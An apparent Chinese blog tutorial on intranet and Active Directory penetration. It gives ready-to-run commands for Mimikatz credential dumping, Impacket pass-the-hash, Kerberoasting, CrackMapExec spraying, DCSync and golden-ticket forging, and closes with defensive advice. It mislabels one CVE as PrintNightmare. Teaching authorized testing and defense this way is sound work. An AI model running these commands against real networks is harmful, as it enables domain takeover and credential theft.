内网渗透与域渗透:从基础概念到实战攻防的完整解析

1. 从零开始:理解内网与域渗透的本质区别

很多刚接触安全测试的朋友,常常会把“内网渗透”和“域渗透”混为一谈,觉得它们差不多,都是进到别人公司网络里搞事情。这种理解不能说全错,但非常片面,就像把“开车”和“开F1赛车”都叫开车一样,忽略了背后巨大的技术鸿沟和场景差异。我干了这么多年渗透测试,带过不少新人,发现能清晰区分这两者,往往是能否从“脚本小子”进阶为“渗透工程师”的第一个分水岭。

简单来说, 内网渗透是一个大概念,而域渗透是内网渗透中最具挑战性、技术最集中的一个子集 。你可以把整个公司的内部网络想象成一个小区(内网)。内网渗透的目标,就是通过各种方法,从小区大门外(互联网),或者从某个已经进去的单元楼里(比如一个被攻陷的Web服务器),想办法在这个小区里自由活动,访问不同的楼栋、房间,甚至拿到物业总控室的钥匙。这个小区可能管理松散,每栋楼都有自己的门禁(工作组环境);也可能管理非常严格,有一个统一的物业中心(域控制器)来管理所有住户(计算机)和门禁卡(账户)。

域环境 ,就是那个有统一物业中心(域控制器,Domain Controller, DC)的严格小区。在这个环境里进行的、以攻陷域控制器、控制整个域为最终目标的渗透过程,就是 域渗透 。它的核心目标是拿到那把“域管理员”的万能钥匙,从而掌控整个“王国”。而内网渗透的目标则宽泛得多,它可能是在一个没有域的工作组环境里横向移动,也可能是在一个混合了多种设备、系统的复杂内网中寻找有价值的数据,其最终目标不一定是域控,可能是核心数据库、文件服务器、甚至是某个高管的电脑。

所以,当你拿到一个授权测试项目,第一步永远是信息收集,而信息收集的关键一步就是判断:我面对的是一个“小区”(内网)还是一个“王国”(域)?这个判断会直接决定你后续80%的工具选择、攻击路径和技术思路。接下来,我们就从零开始,拆解这两种渗透方式的核心思路、技术手段和实战差异。

2. 内网渗透:思路、阶段与通用技术栈

内网渗透,无论目标环境是否是域,其基本流程都遵循一个相对固定的生命周期。这个生命周期不是死板的步骤,而是一个动态的、循环往复的“侦查-攻击-巩固-再侦查”的过程。理解这个框架,比死记硬背几个工具命令重要得多。

2.1 内网渗透的通用阶段划分

一个典型的内网渗透过程,可以划分为以下几个阶段,我习惯称之为“渗透五步曲”:

  1. 初始立足点获取 :这是从外到内的突破。通常通过Web漏洞(如SQL注入、文件上传、RCE)、社会工程学(钓鱼邮件)、近源攻击(Wi-Fi破解、USB摆渡)等方式,获得对内网中某一台主机(我们称之为“跳板机”或“入口点”)的初始控制权。这个点可能权限很低,但它是你进入内网的“桥头堡”。
  2. 内网信息收集 :一旦进入,不要急着乱跑。首要任务是“摸清家底”。这包括:
    • 网络拓扑侦察 :使用 ipconfig /all , route print 查看本机IP、网关、DNS服务器。用 arp -a 查看同一网段活跃主机。使用 nmap , masscan 等工具进行端口扫描,绘制网络地图。
    • 主机信息收集 :当前用户权限、系统版本、安装的软件、进程列表、计划任务、共享目录等。命令如 whoami /all , systeminfo , netstat -ano , tasklist
    • 凭证信息收集 :尝试从内存、文件、注册表中提取密码、令牌或票据。这是后续横向移动的“弹药”。
  3. 权限提升 :初始立足点的权限往往受限(如普通用户)。我们需要将其提升为更高权限(如本地管理员、SYSTEM)。方法包括:
    • 本地漏洞利用 :寻找未打补丁的系统漏洞,如经典的MS17-010(永恒之蓝)、CVE-2021-1678(PrintNightmare)等,使用 Metasploit , Cobalt Strike getsystem 或独立的EXP工具。
    • 配置错误利用 :利用错误的服务权限(如服务账户权限过高)、可写路径、AlwaysInstallElevated策略、计划任务等。
    • 凭证滥用 :如果收集到的密码可以用于更高权限的账户,直接切换用户。
  4. 横向移动 :这是内网渗透的核心环节。从一个已控制的主机,向网络内的其他主机发起攻击,扩大控制范围。技术手段包括:
    • 凭证传递/哈希传递 :使用收集到的密码哈希(NTLM Hash)或票据(Kerberos Ticket),直接验证到其他主机,无需破解明文密码。工具如 Mimikatz (sekurlsa::pth), Impacket 套件中的 psexec.py , smbexec.py
    • 利用服务漏洞 :攻击内网中其他主机上存在漏洞的服务,如SMB、RDP、MySQL、Redis等。
    • 利用信任关系 :基于主机间的信任关系进行跳转,例如在域环境中,域管理员可能登录过某台成员服务器,其凭证会缓存在该服务器上。
  5. 目标达成与持久化 :在获取到最终目标(核心数据、特定服务器控制权)后,需要建立持久化通道,以便后续访问。同时清理痕迹(非授权测试中严禁)。持久化手段包括创建隐藏计划任务、服务、启动项、WMI事件订阅、SSH公钥、黄金票据(域环境特有)等。

注意 :这五个阶段并非线性,而是螺旋式上升。在横向移动获得新主机后,立即在新主机上重复信息收集和权限提升,寻找新的攻击路径。

2.2 工作组环境下的渗透特点

在没有域的环境(工作组)中,每台计算机本质上都是一个独立的“堡垒”。渗透的特点如下:

  • 认证方式单一 :主要依赖NTLM认证。每台机器的本地SAM数据库存储着本地用户的哈希。没有中央账户管理。
  • 横向移动阻力大 :由于缺乏统一的信任关系,从主机A到主机B,通常需要知道B上某个本地账户的凭证。这使得横向移动更像是在攻克一个个独立的堡垒,依赖漏洞利用和密码爆破(针对弱口令)的情况更多。
  • 信息分散 :用户账户、共享资源信息分散在各台主机上,需要逐一收集。
  • 工具选择 nmap , Metasploit , CrackMapExec (针对SMB), Hydra / Medusa (爆破工具) 等是主力。 Impacket 套件同样有效,但场景多局限于已知凭证的传递。

一个工作组环境的简单攻击链可能是 :通过Web漏洞拿下DMZ区一台服务器(立足点)-> 提权至本地管理员 -> 抓取本机哈希或发现弱口令 -> 利用 psexec 或 SMB漏洞(如MS17-010)攻击同一网段其他使用相同弱口令的主机 -> 逐步扩散。

3. 域渗透:核心思想、攻击路径与高阶技巧

当你的信息收集显示存在“域”环境(例如,DNS服务器指向一个内部IP,主机名包含域名, net user /domain 命令可以执行),那么恭喜你,也“恭喜”目标,真正的挑战和乐趣开始了。域渗透将内网攻防提升到了战略层面。

3.1 域环境的核心与攻击总纲

域的核心是 活动目录 。你可以把它理解为一个巨大的、分布式的数据库,存储着域内所有用户、计算机、组策略、信任关系等信息。而 域控制器 就是这个数据库的权威管理者。

因此,域渗透的终极目标非常明确: 获取域管理员权限,完全掌控活动目录 。一旦达成,意味着你可以:

  • 重置任意用户(包括CEO)的密码。
  • 将任意计算机加入域或踢出域。
  • 部署组策略,在所有域内电脑上执行命令。
  • 访问域内所有资源(只要权限设置允许)。
  • 生成访问任何服务的“万能门票”(黄金票据)。

域渗透的攻击路径,通常围绕以下几个关键“资产”展开,我将其总结为 “域渗透四大攻击面”

  1. 用户凭证 :普通域用户 -> 高权限域用户(如IT支持人员)-> 域管理员。通过钓鱼、密码喷洒、Kerberoasting攻击等方式获取。
  2. 计算机账户 :域成员服务器 -> 域控制器。利用计算机账户的权限、内存中缓存的凭证或漏洞。
  3. 服务账户 :通过攻击Kerberos服务票据(Silver Ticket, Kerberoasting)来冒充服务,进而提升权限。
  4. 域信任关系 :在拥有多个域的林环境中,利用域间的信任关系进行跨域攻击。

3.2 从零到域控:一条经典攻击路径详解

让我们模拟一条从外网普通员工电脑到拿下域控制器的经典路径,看看域渗透技术是如何串联起来的。

阶段一:初始入侵与本地信息收集 假设我们通过一封钓鱼邮件,让一名域用户点击了恶意文档,从而在其办公电脑上获得了初始的 meterpreter 会话。当前权限是这名普通域用户。

  • 信息收集
    # 查看当前用户和所在域
    whoami
    net user %username% /domain
    # 查看网络配置,确认DNS(通常指向域控制器)
    ipconfig /all
    # 查看当前域和域控制器
    net view /domain
    nltest /dclist:你的域名
    
    此时,我们知道了域名(例如 corp.com )和域控制器的主机名(例如 DC01.corp.com )。

阶段二:域内信息收集与凭证窃取 有了域用户权限,我们就可以在域内进行更深入的侦察。

  • 枚举域信息
    # 枚举域用户
    net user /domain
    # 枚举域计算机
    net group "Domain Computers" /domain
    # 枚举域管理员
    net group "Domain Admins" /domain
    # 使用PowerShell或BloodHound进行更高级的枚举
    
  • 凭证窃取(关键步骤) :在已控主机上,尝试提取内存中的凭证。
    # 使用Mimikatz(需管理员权限)
    privilege::debug
    sekurlsa::logonpasswords
    
    如果当前用户权限不够,需要先进行本地提权。这一步可能抓取到其他登录过此电脑的域用户(甚至域管理员)的明文密码或哈希。

阶段三:横向移动与权限提升 假设我们从内存中抓取到了一个属于“IT Support”组成员的用户哈希。

  • 哈希传递攻击 :我们无需破解这个哈希,可以直接用它来访问其他资源。
    # 使用Impacket的psexec横向移动
    python3 psexec.py corp.com/IT_User@目标服务器IP -hashes :NTLM_HASH
    
    如果这个“IT Support”组对某些服务器有管理权限,我们就能直接获得该服务器的SYSTEM权限。
  • Kerberoasting攻击 :如果抓到的只是普通用户凭证,可以尝试此方法。它针对的是使用Kerberos协议的服务账户。
    # 请求所有SPN(服务主体名称)服务的TGS票据
    python3 GetUserSPNs.py -request -dc-ip 域控制器IP corp.com/普通用户
    
    获取到的TGS票据是使用服务账户哈希加密的,我们可以离线爆破这个哈希。由于服务账户密码可能很少更换且强度不高,爆破成功率可观。一旦破解,我们就获得了该服务账户的权限,如果这个服务账户权限较高(例如是某个数据库服务的账户),就可能成为新的跳板。

阶段四:通往域控的最后冲刺 在控制了一台具有一定权限的服务器(例如一个被IT人员管理的文件服务器)后,我们距离域控更近了。

  • 利用域管理员凭证 :最理想的情况,在控制的服务器上再次运行 Mimikatz ,抓取到了曾经登录过的域管理员哈希。直接使用哈希传递攻击域控制器:
    python3 smbexec.py -hashes :域管理员哈希 corp.com/域管理员@域控制器IP
    
  • 打印机漏洞 :如果域控制器未修复Print Spooler服务漏洞,我们可以利用它强制让域控制器向我们控制的主机进行身份验证,从而截获其计算机账户的哈希。工具如 SpoolSample 打印机漏洞利用工具
  • ADCS攻击 :如果域内部署了Active Directory证书服务,且配置存在缺陷,普通用户可能可以申请到域管理员权限的证书。这是近年来非常热门的攻击向量。
  • ZeroLogon :利用CVE-2020-1472漏洞,将域控制器计算机账户的密码哈希置空,从而直接控制它。虽然补丁已出,但在未及时更新的老旧环境中仍是“大杀器”。

阶段五:权限维持与深度控制 拿到域控制器权限后,工作并未结束。

  • DCSync攻击 :利用域控制器的复制协议,模拟一个域控制器,从真正的域控制器上“拉取”所有用户的哈希。这是获取全域哈希的最优雅方式。
    mimikatz# lsadump::dcsync /domain:corp.com /user:Administrator
    
  • 黄金票据 :利用抓取到的 krbtgt 账户的哈希(域的特殊密钥),可以伪造任意用户的TGT(票据授予票据),实现“万能通行证”。即使域内所有用户密码都改了,只要 krbtgt 的哈希不变,黄金票据依然有效。
  • 白银票据 :针对特定服务伪造TGS票据,不需要与域控制器交互,更难检测。

4. 工具链实战:从扫描到利用的完整操作实录

理论说再多,不如动手练一遍。下面我结合几个核心场景,给出具体的工具命令和操作思路,你可以照着搭建实验环境(如使用 Windows Server 搭建域, Kali Linux 作为攻击机)进行复现。

4.1 信息收集工具链实战

场景 :已获得一个域普通用户权限的Meterpreter会话。

  • 使用PowerShell进行快速枚举
    # 导入PowerView模块
    Import-Module .\PowerView.ps1
    # 获取域信息
    Get-NetDomain
    # 获取域控制器
    Get-NetDomainController
    # 获取域用户列表
    Get-NetUser | select samaccountname, description, lastlogon
    # 获取域计算机列表
    Get-NetComputer | select name, operatingsystem
    # 获取域组和组成员
    Get-NetGroup -GroupName "Domain Admins"
    # 发现域内共享
    Invoke-ShareFinder
    
  • 使用BloodHound进行可视化攻击路径分析 :这是域渗透的“神器”。它通过收集活动目录的数据,自动分析出用户、组、计算机之间的复杂关系,并找出最快捷的攻击路径。
    1. 在攻击机上运行 BloodHound 界面和 neo4j 数据库。
    2. 在目标主机上(通过会话)运行数据收集器 SharpHound.exe
      SharpHound.exe -c All --zipfilename data.zip
      
    3. 将生成的 data.zip 下载到攻击机,并导入 BloodHound
    4. 在界面中搜索目标用户或组(如“Domain Admins”),点击“节点信息”,BloodHound会清晰地展示出“最短路径到域管理员”、“拥有的会话”、“到高价值目标的路径”等关键信息,直接告诉你下一步该攻击谁、怎么攻击。

4.2 横向移动与凭证攻击实战

场景 :已获得一个域用户 zhangsan 的NTLM哈希( aad3b435b51404eeaad3b435b51404ee:32ed87bdb5fdc5e9cba88547376818d4 ),想横向移动到内网主机 192.168.1.10

  • 使用Impacket套件进行哈希传递
    # 1. 使用wmiexec(无文件落地,较隐蔽)
    python3 wmiexec.py -hashes :32ed87bdb5fdc5e9cba88547376818d4 corp/zhangsan@192.168.1.10
    # 2. 使用atexec(通过计划任务执行)
    python3 atexec.py -hashes :32ed87bdb5fdc5e9cba88547376818d4 corp/zhangsan@192.168.1.10 "whoami"
    # 3. 使用smbexec
    python3 smbexec.py -hashes :32ed87bdb5fdc5e9cba88547376818d4 corp/zhangsan@192.168.1.10
    
  • 使用CrackMapExec进行批量扫描与攻击
    # 扫描整个C段,检查哪些主机可以使用该哈希进行SMB登录
    crackmapexec smb 192.168.1.0/24 -u zhangsan -H 32ed87bdb5fdc5e9cba88547376818d4
    # 如果发现可登录主机,直接执行命令
    crackmapexec smb 192.168.1.10 -u zhangsan -H 32ed87bdb5fdc5e9cba88547376818d4 -x 'whoami'
    # 使用--sam 参数尝试转储目标主机的本地SAM哈希
    crackmapexec smb 192.168.1.10 -u zhangsan -H 32ed87bdb5fdc5e9cba88547376818d4 --sam
    

4.3 权限提升与域控攻击实战

场景 :已控制一台域成员服务器,并获取了本地管理员权限,目标是获取域控制器上的 krbtgt 哈希。

  • 使用Mimikatz进行DCSync : 首先,你需要确保当前上下文具有复制目录更改的权限(通常域管理员或类似权限才有)。如果你控制了一个有复制权限的账户(或通过漏洞获得了相应权限):
    # 在已控服务器上以高权限运行Mimikatz
    mimikatz # privilege::debug
    mimikatz # lsadump::dcsync /domain:corp.com /user:krbtgt
    
    这条命令会从域控制器 DC01.corp.com 上拉取 krbtgt 账户的哈希,输出结果中会包含其 NTLM 哈希,这是制作黄金票据的关键。
  • 制作黄金票据 : 拿到 krbtgt 的哈希后,在任意域内或已加入域的机器上,都可以伪造票据。
    mimikatz # kerberos::golden /user:任意用户名 /domain:corp.com /sid:域SID /krbtgt:krbtgt的NTLM哈希 /ptt
    
    其中 /ptt 参数表示将生成的票据直接注入到当前会话的内存中。执行成功后,使用 klist 查看当前票据,你会发现多了一张来自 krbtgt 的TGT。此时,你就可以以伪造的身份访问域内任何服务了,例如直接访问域控制器的C$共享:
    dir \\DC01.corp.com\c$
    

5. 防御视角与常见问题排查实录

站在攻击者的角度学习,最终是为了更好地防御。了解这些攻击手法后,你应该能明白防守方该在哪里布防。

5.1 内网与域环境的核心防御建议

  • 最小权限原则 :这是黄金法则。无论是用户账户还是服务账户,只赋予其完成工作所必需的最小权限。避免域管理员账户在日常办公电脑上登录。
  • 强密码与多因素认证 :强制使用长且复杂的密码,并启用多因素认证,能有效防御密码喷洒和爆破。
  • 及时打补丁 :针对永恒之蓝、打印机漏洞、ZeroLogon等高危漏洞,及时安装安全更新。
  • 禁用不必要的服务 :关闭或限制SMB、WMI、RDP等服务的访问范围,仅在需要的网络段开放。
  • 监控与日志审计
    • 监控异常登录行为(如非工作时间、陌生地理位置的登录)。
    • 监控 Mimikatz 相关进程创建、 LSASS 进程的内存读取尝试。
    • 监控大量的Kerberos TGS请求(Kerberoasting攻击特征)。
    • 监控DCSync复制事件(事件ID 4662)。
  • 网络分段 :将网络划分为不同的安全区域(如办公网、服务器网、核心数据区),区域间通过防火墙严格控制访问,即使攻击者进入办公网,也难以直接触及核心服务器。
  • 启用Credential Guard :对于Windows 10/Server 2016以上系统,启用Credential Guard可以保护LSASS进程,使传统的 Mimikatz 抓取内存密码的方法失效。
  • 定期轮换关键凭证 :定期更改 krbtgt 账户的密码(通常每半年一次,且需执行两次),使已泄露的黄金票据失效。

5.2 渗透测试中的常见问题与排查技巧

在实际测试中,你肯定会遇到各种问题。下面是一些常见坑点和解决思路:

  • 问题一:哈希传递失败,返回“STATUS_LOGON_FAILURE”

    • 可能原因1 :目标主机启用了“受限管理模式”或“Credential Guard”。解决方案:尝试其他横向移动方法,如WMI、计划任务、SCM等,或者寻找其他漏洞。
    • 可能原因2 :使用的哈希不对或用户权限不足。解决方案:确认哈希来源正确,确认该用户对目标主机有相应的访问权限(如远程登录权限)。
    • 可能原因3 :网络策略限制。解决方案:检查防火墙是否阻止了445(SMB)或135(WMI)等端口。
  • 问题二:Kerberoasting攻击时,GetUserSPNs.py返回“Kerberos SessionError: KDC_ERR_PREAUTH_FAILED”

    • 可能原因 :需要预认证。这意味着你提供的用户密码或哈希是错误的。解决方案:确保你使用的凭证是正确的。或者,如果你有该用户的TGT票据,可以尝试使用 klist 查看并导出票据,然后使用 export KRB5CCNAME=/path/to/ticket 设置环境变量后重试。
  • 问题三:使用黄金票据后,访问某些服务(如LDAP)仍然被拒绝

    • 可能原因 :黄金票据只伪造了TGT,访问某些服务可能需要PAC(特权属性证书)信息。在制作黄金票据时,可以尝试指定 /groups 参数,将用户添加到高权限组(如域管理员组SID)来完善PAC。另外,有些服务(如证书服务)可能对票据有额外校验。
  • 问题四:BloodHound显示有到域管理员的路径,但实际攻击链不通

    • 可能原因 :BloodHound展示的是理论上的权限关系(如“成员属于某组”),但实际环境中可能通过其他方式(如组策略、本地防火墙规则)进行了限制。解决方案:BloodHound是路线图,不是保证书。需要结合手动验证,例如,显示你有权“写入ACL”到某个用户,你需要手动使用 PowerView Add-DomainObjectAcl 等命令去尝试执行,看是否真的成功。

最后一点个人心得 :内网和域渗透是一个深度依赖“感觉”和“经验”的领域。工具和命令是死的,但网络环境是活的。最好的学习方式就是自己搭建靶场(推荐 Active Directory Lab Detection Lab ),把上面提到的每一条攻击链都亲手走通、走稳。遇到错误别急着搜答案,先看报错信息,理解协议原理(比如Kerberos认证的AS_REQ, TGT, TGS_REQ, TGS流程),很多问题自然就迎刃而解了。收藏这篇文章只是一个开始,真正的精通,藏在无数次失败的复现和成功的突破之中。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值